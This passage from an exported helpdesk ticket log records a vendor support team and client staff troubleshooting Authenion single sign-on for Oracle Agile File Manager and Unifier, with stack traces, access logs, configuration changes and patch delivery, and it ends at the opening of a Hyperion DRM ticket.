org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78)	at
org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:357)	at
org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:374)	at
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)	at
org.apache.coyote.AbstractProtocol\$ConnectionHandler.process(AbstractProtocol.java:893)	at
org.apache.tomcat.util.net.NioEndpoint\$SocketProcessor.doRun(NioEndpoint.java:1707)	at
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)	at
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)	at

java.util.concurrent.ThreadPoolExecutor\$Worker.run(ThreadPoolExecutor.java:624) at  
org.apache.tomcat.util.threads.TaskThread\$WrappingRunnable.run(TaskThread.java:61) at  
java.lang.Thread.run(Thread.java:750) 2023-07-25 03:54:23 INFO GetReqDocs:224 - Error code :  
60086 Error message : Call APIException.getRootCause() for details. Root Cause exception :  
java.io.IOException: Server returned HTTP response code: 400 for URL:  
https://becpsnb2c.b2clogin.com/becpsnb2c.onmicrosoft.com/oauth2/v2.0/authorize?p=B2C\_1A\_sig  
nup\_signin\_JWT\_Authenion\_Stag&client\_id=33f69b6d-eed2-4055-968c-0ca18ba727d4&response\_t  
ype=code&state=Y29tLmF1dGhlbmIvbi5zc29saWJyYXJ5LnN0YXRlOmh0dHBzOi8vYWdpbGVvc2F  
uZC5vY2kuYmVjcHNuLmNvbS9BZ2lsZS9TZXJ2ZXJBUElQcm9wZXJ0aWVz&scope=33f69b6d-eed  
2-4055-968c-0ca18ba727d4  
openid&redirect\_uri=https://agileosand.oci.becpsn.com/ssolibrary/oidc/callback at  
com.agile.api.AgileSessionFactory.init(AgileSessionFactory.java:919) at  
com.agile.api.AgileSessionFactory.createSession(AgileSessionFactory.java:1049) at  
com.agile.util.AgileUtil.connect(AgileUtil.java:226) at  
com.agile.servlets.GetReqDocs.doGet(GetReqDocs.java:84) at  
javax.servlet.http.HttpServlet.service(HttpServlet.java:626) at  
javax.servlet.http.HttpServlet.service(HttpServlet.java:733) at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227) at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) at  
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) at  
org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202) at  
org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97) at  
org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:542) at  
org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:143) at

org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) at  
org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:687) at  
org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78) at  
org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:357) at  
org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:374) at  
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) at  
org.apache.coyote.AbstractProtocol\$ConnectionHandler.process(AbstractProtocol.java:893) at  
org.apache.tomcat.util.net.NioEndpoint\$SocketProcessor.doRun(NioEndpoint.java:1707) at  
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) at  
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) at  
java.util.concurrent.ThreadPoolExecutor\$Worker.run(ThreadPoolExecutor.java:624) at  
org.apache.tomcat.util.threads.TaskThread\$WrappingRunnable.run(TaskThread.java:61) at

java.lang.Thread.run(Thread.java:750) Another error is in filemgr logs \*\*\* File Manager Initialization failed \*\*\* Reason :Uncaught exception thrown.The server sent HTTP status code 400: Bad Request The failure could be attributed to: 1. The Application Server is currently Unavailable 2. File Manager is not configured correctly - [Admin -> Server Settings -> Locations -> <File Manager Entry> -> File Manager Internal Locator] must EXACTLY match the above-mentioned File Manager URL 3. File Manager Entry has been DISABLED or the setting is incorrectly specified 4. ifuser username/password may not be correct.

\*\*\*\*\*

\*\*\* 25-Jul-2023 01:34:10.372 INFO [localhost-startStop-1]

org.apache.catalina.startup.HostConfig.deployDescriptor Deployment of deployment descriptor [/u11/agile/agile936/FileManager/conf/Catalina/localhost/Filemgr.xml] has finished in [8,680] ms

25-Jul-2023 01:34:10.378 INFO [localhost-startStop-1]

org.apache.catalina.startup.HostConfig.deployDescriptor Deploying deployment descriptor [/u11/agile/agile936/FileManager/conf/Catalina/localhost/webdav.xml] 25-Jul-2023 01:34:12.369

INFO [localhost-startStop-1] org.apache.jasper.servlet.TldScanner.scanJars At least one JAR was scanned for TLDs yet contained no TLDs. Enable debug logging for this logger for a complete list of JARs that were scanned but no TLDs were found in them. Skipping unneeded JARs during scanning can improve startup time and JSP compilation time. 25-Jul-2023 01:34:12.374 INFO [localhost-startStop-1] org.apache.catalina.startup.HostConfig.deployDescriptor Deployment of deployment descriptor [/u11/agile/agile936/FileManager/conf/Catalina/localhost/webdav.xml] has finished in [1,996] ms 25-Jul-2023 01:34:12.380 INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["http-nio-8080"] 25-Jul-2023 01:34:12.399 INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["https-jsse-nio-8443"] 25-Jul-2023 01:34:12.401 INFO [main] org.apache.coyote.AbstractProtocol.start Starting ProtocolHandler ["ajp-nio-127.0.0.1-8009"] 25-Jul-2023 01:34:12.403 INFO [main] org.apache.catalina.startup.Catalina.start Server startup in 10758 ms Error 1: Reason :Uncaught exception thrown.The server sent HTTP status code 400: Bad Request Error 1: Reason :Uncaught exception thrown.The server sent HTTP status code 400: Bad Request Error 1: Reason :Uncaught exception thrown.The server sent HTTP status code 400: Bad Request Error 1: Reason :Uncaught exception thrown.The server sent HTTP status code 400: Bad Request Error 1: Reason :Uncaught exception thrown.The server sent HTTP status code 400: Bad Request

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/home portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Anil Dutta, Please send us a meeting invite ASAP. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1118> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please send a screenshot for the below configuration from Agile: 1) Server Settings --> Locations --> general Information tab 2) Server Settings --> Location--> File Manager tab Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1118> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, Please setup a call and resolve this issue. Thanks Prateek

Hi Anil Dutta, Sure we will send a meeting invite soon Thanks Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1118> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Prateek, Could you please replace the Java Client URL with its original value (which was configured before SSO)? Restart file manager and test SSO and let us know. Please also let us know your availability for a meeting after 10.30am IST today. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1118> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I didn't make any changes on JAVA client side. It is the same as before SSO. I am available at 10:30 AM IST Thanks Prateek

Hi Prateek, Please join the meeting at 10.30 am IST.

[https://teams.microsoft.com/dl/launcher/launcher.html?url=%2F\\_%23%2F%2Fmeetup-join%2F19%3Ameeting\\_MDYyMGQ4MDEtZDM4My00NzAyLTg2MDItYmMzYzg2OGNiMThk%40thread.v2%2F0%3Fcontext%3D%257b%2522Tid%2522%253a%25226e26baa3-bf93-4bf7-85ae-9111969cd7cc%2522%252c%2522Oid%2522%253a%25229936bd24-2c83-4f24-b187-d5669f71af4b%2522%257d%26anon%3Dtrue&type=meetup-join&deeplinkId=14c1567e-06e5-4754-83ad-21ac3a167d4f&directDI=true&msLaunch=true&enableMobilePage=true&suppressPrompt=true](https://teams.microsoft.com/dl/launcher/launcher.html?url=%2F_%23%2F%2Fmeetup-join%2F19%3Ameeting_MDYyMGQ4MDEtZDM4My00NzAyLTg2MDItYmMzYzg2OGNiMThk%40thread.v2%2F0%3Fcontext%3D%257b%2522Tid%2522%253a%25226e26baa3-bf93-4bf7-85ae-9111969cd7cc%2522%252c%2522Oid%2522%253a%25229936bd24-2c83-4f24-b187-d5669f71af4b%2522%257d%26anon%3Dtrue&type=meetup-join&deeplinkId=14c1567e-06e5-4754-83ad-21ac3a167d4f&directDI=true&msLaunch=true&enableMobilePage=true&suppressPrompt=true) ?Thanks. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1118> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

This is an Internal Note only to our team: We had a meeting with Bechtel for Agile sso issue. Below are the updates: File Manager Issue: The File Manager issue was resolved by adding the below values in server.conf file. app.server.url =<https://agileosand.oci.becpsn.com/Agile/FSHelper/FSHelperWSService> dms.server.url =<https://agileosand.oci.becpsn.com/Agile/DmsService/DmsViewerAPIService>elow. We also unprotected the above endpoints '/Agile/FSHelper/FSHelperWSService' & '/Agile/DmsService/DmsViewerAPIService' in Authenion. This is for the file manager to read the status of other agile services. File manager and its functions are working fine now. Agile External Component Issue: There is an external application working along with Agile. This external app is hosted on a dedicated tomcat. Since they wanted the Agile SSO to extend the session with this external application, we added it as a new application in Authenion and protected it. Testing is pending as they have to add the Authenion protected URL to their external application.

Hi Prateek, For the external component tomcat app, we dont think a load balancer entry is required. Please check with Vishv / Anil. As of now, the Action button is configured with 'https://<tomcat-hostname>:8445'. This Action button's URL/property needs to be reconfigured with https://agileosand.oci.becpsn.com. Please let us know if you have any questions. Ticket URL - https://support.likemindsconsulting.com/helpdesk/tickets/1118 Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, As per our discussion on call , I am sharing all the screenshot of Weblogic console and Javaclient where we have configured Azure AD and LDAP setup (On java client) . Our primary focus is achieve that how to implement azure AD in agile ( application and java client side) In Last meeting of agile authenion sso , vignesh made this changes on Agile sandbox weblogic console Java CLient side, still LDAP setup is configured . We need to configure Azure AD. Thanks Prateek

Hi Team, As per our discussion on call , I am sharing all the screenshot of Weblogic console and Javaclient where we have configured Azure AD and LDAP setup (On java client) . Our primary focus is achieve that how to implement azure AD in agile ( application and java client side) In Last meeting of agile authenion sso , vignesh made this changes on Agile sandbox weblogic console Java CLient side, still LDAP setup is configured . We need to configure Azure AD. Thanks Prateek

Hi Pratik, We have looked into it. This setup is out of support scope for us since configuring Azure AD groups are related to application access level setup and not part of the SSO enablement. Please let us know if you have any questions. Ticket URL - https://support.likemindsconsulting.com/helpdesk/tickets/1118 Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

ticket link above to view or manage your tickets.-->

Hi Vishv, Please let us know your availability for tomorrow afternoon IST. We will setup a meeting to discuss on the Agile issue reported today. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1118> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vishv, Please join the below meeting at 3pm IST. [https://teams.microsoft.com/dl/launcher/launcher.html?url=%2F\\_%23%2F%2Fmeetup-join%2F19%3Ameeting\\_MDYyMGQ4MDEtZDM4My00NzAyLTg2MDItYmMzYzg2OGNiMThk%40thread.v2%2F0%3Fcontext%3D%257b%2522Tid%2522%253a%25226e26baa3-bf93-4bf7-85ae-9111969cd7cc%2522%252c%2522Oid%2522%253a%25229936bd24-2c83-4f24-b187-d5669f71af4b%2522%257d%26anon%3Dtrue&type=meetup-join&deeplinkId=14c1567e-06e5-4754-83ad-21ac3a167d4f&directDI=true&msLaunch=true&enableMobilePage=true&suppressPrompt=true](https://teams.microsoft.com/dl/launcher/launcher.html?url=%2F_%23%2F%2Fmeetup-join%2F19%3Ameeting_MDYyMGQ4MDEtZDM4My00NzAyLTg2MDItYmMzYzg2OGNiMThk%40thread.v2%2F0%3Fcontext%3D%257b%2522Tid%2522%253a%25226e26baa3-bf93-4bf7-85ae-9111969cd7cc%2522%252c%2522Oid%2522%253a%25229936bd24-2c83-4f24-b187-d5669f71af4b%2522%257d%26anon%3Dtrue&type=meetup-join&deeplinkId=14c1567e-06e5-4754-83ad-21ac3a167d4f&directDI=true&msLaunch=true&enableMobilePage=true&suppressPrompt=true) ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1118> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Vishv, We are on the bridge, please join. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1118> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

This is an internal note: Team, We had a call with Bechtel for the Agile issue. Please find below the updates: 1) There is no issue with respect to SSO. Agile SSO is working fine with Authenion. 2)



Issue is: There is a LDAP store connected with Agile application. Now, they wanted to replace the LDAP store with Authenion/Azure AD in the Agile application. 3) We responded that this could not be achieved by explaining them the Authenion product features and its scope on integrating with applications only for SSO. 4) We clearly mentioned that Authenion will not replace any identity/user store like LDAP/Database in the target application side. Guess, the Bechtel team is clear on this now.

Hi Anil Dutta, Kindly send us an update on Ticket 1118 Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1118> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Kindly reopen this case as we still not able to connect independent tomcat after setting up tomcat load balance url . Please setup a immediate call on this. Thanks Prateek

Please reopen this ticket and setup a call at 3:00 PM IST today.

Hi Anil Dutta, This ticket is straightening to 1123 ticket so we are closing this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1118> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1119

SUBJECT : SSO is not working in Unifier

PROBLEM DESCRIPTION : We have done SSO setup for Unifier in Authenion . But it is not working

and screen gets hanged at login screen. Please take this on priority as Project is asking for the update.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Anil Dutta, Please send us the Authenion logs , Screen shot of the error and Network trace. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please send us an meeting invite. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

This error message comes in F12 develoer tools Uncaught SyntaxError: Expected property name or '}' in JSON at position 1 at JSON.parse (<anonymous>) at LoginModel.checkException (loginModel.js:324:25) at Object.success (loginModel.js:760:15) at i (jquery-1.12.3.min.js?21.12.14.1:2:27466) at Object.fireWith [as resolveWith] (jquery-1.12.3.min.js?21.12.14.1:2:28230) at y (jquery-1.12.3.min.js?21.12.14.1:4:22831) at XMLHttpRequest.c (jquery-1.12.3.min.js?21.12.14.1:4:26989)

Hi Anil Dutta, We will look into this and let you know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please let us know in which transaction in trace, this error is seen. Send a screenshot of where the request is landing. Please send us WebLogic logs for this specific transaction. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

It is comes in F12 develoer tools of browser. There is no error in weblogic logs. please see attached snapshot.

Hi Anil Dutta, Could you please send a meeting invite to discuss the issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please send us OHS logs for this transaction. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please find attached zip file. It contains OHS logs files.

Hi Anil Dutta, It looks like there are no transactions reflecting between OHS and weblogic server. Can we try to bypass OHS and reach weblogic directly from Authenion? Please point the Authenion

Application Host to 'weblogic\_server:port' of the unifier application. Test SSO login again and send us the logs and traces. This may help to narrow down the cause of the problem. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

There is a communication happening between OHS and weblogic. Please check the access logs.

```
10.171.136.83 - - [25/Jul/2023:08:51:57 -0700] 0060L6q0UBZ7u1b5LJl3ie0004y800000A "GET
/studio/js/jquery-1.12.3.min.js?21.12.14.1 HTTP/1.0" 200 97200 10.171.136.83 - -
[25/Jul/2023:08:51:57 -0700] 0060L6q18Ew7u1b5LJl3ie0004y6000009 "GET
/studio/js/jquery-sha256.min.js?21.12.14.1 HTTP/1.0" 200 3119 10.171.136.83 - -
[25/Jul/2023:08:51:57 -0700] 0060L6q18DS7u1b5LJl3ie0004yA000004 "GET
/webant/js/unifier_util.js?21.12.14.1 HTTP/1.0" 200 111138 10.171.136.83 - - [25/Jul/2023:08:51:58
-0700] 0060L6q2_2P7u1b5LJl3ie0004y800000B "GET /gs/ojet/css/main.min.css?21.12.14.1
HTTP/1.0" 200 2046253 10.220.216.243 - - [25/Jul/2023:08:51:58 -0700]
0060L6q42IK7u1b5LJl3ie0004y600000A "GET /" 200 146 10.220.216.242 - - [25/Jul/2023:08:51:59
-0700] 0060L6q6MMu7u1b5LJl3ie0004y800000C "GET /" 200 146 10.171.136.83 - -
[25/Jul/2023:08:51:59 -0700] 0060L6q6Xo67u1b5LJl3ie0004y800000D "GET
/webant/js/i18n/UnifierMessage.js?21.12.14.1 HTTP/1.0" 200 574698 10.171.136.83 - -
[25/Jul/2023:08:51:59 -0700] 0060L6q7j6d7u1b5LJl3ie0004y800000E "GET
/webant/js/i18n/UnifierString.js?21.12.14.1 HTTP/1.0" 200 553112
```

We have set the weblogic server and port in Application host and sync the application. It is still not working. please find attached weblogic log files.

Hi Anil Dutta, Sure, we will look into it. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We have uploaded the ohs1.zip file which contains all conf file for OHS.

Hi Anil Dutta, We have developed a sample application to identify the cause of the Unifier SSO login issue. Below are the steps we need to perform: 1) We need to deploy the attached Unifier.war file in the Unifier's weblogic server. 2) Make sure the endpoint (/Unifier/NewFile.jsp) is accessible via the OHS 3) Protect this sample application through Authenion and test SSO login. We will be on the call assisting on the setup and testing. Please let us know your availability today. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please send a meeting invite as per your availability today to work on this Unifier issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

we have deployed the debug war file on unifier weblogic and get the details with OHS and without OHS. 1) Configured Unifier OHS as Application host in Authenion and then capture the details. 2) Configured Unifier weblogic (bypass the OHS) as Application host in Authenion and then capture the details. Please find attached document with snapshots.

Hi Anil Dutta, Can you please provide us with the Authenion logs and application conf file. Ticket

URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please find attached Authenion logs from both the nodes and Application conf file.

Please find Authenion log from second node.

Hi Anil Dutta, Please send us an meeting invite. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Please send us meeting invite today to work on the Unifier Issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

we had screen share session and removed the userInfo value from oidc.json file and reproduced the issue. Please find fresh Authenion logs for today's (07-Aug-2023).

Hi Anil Dutta, Please point the Authenion Application Host to 'weblogic\_server:port' of the unifier application. Test SSO login again and send us the logs and network trace. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

we have updated the Application host with Unifier weblogic host and port. Please find attached Authenion log and conf file.

Hi Anil Dutta, Please send us an meeting invite. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please find latest logs with wiblogic host and without ssoToolUserInfoUrl value.

Please find latest n/w trace.

Please find application conf file with weblogic.

Hi Anil Dutta, Please let us know, /ws is added as an excluded resource in Authenion. Is this the same setup with AIK as well? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Yes. It is same in AIK. It is excluded in AIK too. It is for webservices.

I have deployed the Authenion debug file (which was provided) on unifier instance which is integrated with AIK. Please find attached the snapshot of output of debug files with AIK.

Hi Anil Dutta, We have went through the Authenion logs and traces provided. We do not see any errors on the Authenion server. The headers are fetched and set properly to its backends. The SSO is failing at the unifier login screen. Please provide us logs from unifier server with debug mode enabled to look into the failed authentication events. Also, based on the test results provided with AIK, looks like additional headers like Proxy-Remote-User are set. Please consider this header and set it with Authenion and test again to see if this resolves. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I have tested after setting Proxy-Remote-User as additional header. Issue is still there. please find attached unifier application logs with debug enabled.

Hi Anil Dutta, The Unifier logs attached are adated August 3, 2008. We do not see any entries for today's date or any latest logins made. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Sorry for the typo! The logs are dated August 3, 2023. Please share any latest logs. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please find latest unifier application logs.



Please find attached unifier logs application with AIK.

Please find attached developer tools har logs with AIK and Authenion as a proxy.

Hi Anil Dutta, Please send us network trace with unifier running with AIK. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Attaching the network trace from browser after making below changes. 1) Application Name in authenion configuration 2) Authenion is acting like a proxy but aik is acting as SSO agent.

Attaching the network trace from browser after making below changes. 1) Application Name in authenion configuration 2) Authenion is acting like a proxy but aik is acting as SSO agent.

Hi Anil Dutta, Please download the patch files from the below link. <https://app.box.com/s/m4iwmuv9gv43145tlcv5itwyjj6di9y> 1) Please deploy the authenion-agent-1.1.jar in the deploy directory and restart Authenion services. 2) Replace the existing admin jar file with the patched version and restart admin services Please let us know if you have any questions. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

support team, This site is blocked by Bechtel n/w. please upload the patch in Authenion support portal. <https://app.box.com/s/m4iwmuv9gv43145tlcv5itwyjj6di9y>

Hi Anil Dutta, We have attached the patch files through email. Please check and let us know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We cannot download the patch from google drive because Google drive is also blocked. Would it be possible if you upload the patch into Authenion support portal?

Hi Anil Dutta, We were sending the files before through these platforms only. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Now these are blocked by n/w security team because of security audit.

Hi Anil Dutta, we will check this and let u know. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, We are splitting the two jar files and uploading them separately. Admin and Agent(5+5=10), Please check and let us know. Admin-1,2,3 Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Admin-4,5 Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Agent-1,2,3. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Agent-4,5. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Agent-4,5. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, Are you able to download the 10 files which we send via the portal. Please let us know asap. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Yes. I have downloaded the files and trying to unzip now.

Please let us know the size of Authenion admin and agent file after unzip.

Hi Anil Dutta, Below are the sizes of Authenion admin and agent files.  
?authenion-admin-1.2.jar-23mb      authenion-agent-1.1.jar-24mb      Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Thank you for providing the patch for Unifier SSO issue. we have downloaded the files and applied to our Authenion application. It is working. It has fixed the issue. we are still testing the application and update the ticket.

Hi Anil Dutta, Sure, you can get back to us if anything required. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Anil Dutta, ?Please let us know if we could close ticket 1119. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1119> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1120

SUBJECT : SSO Implementation in Hyperion DRM

PROBLEM DESCRIPTION : Hi Team, We have implemented authenion SSO for Hyperion Workspace successfully. Now, We have requirement of implmenting SSO in Hyperion DRM. Please let us know your availabilty so that this requirement can be discussed.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 seen\_articles: enterprise\_enabled: false referrer: <https://support.likemindsconsulting.com/support/home> portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

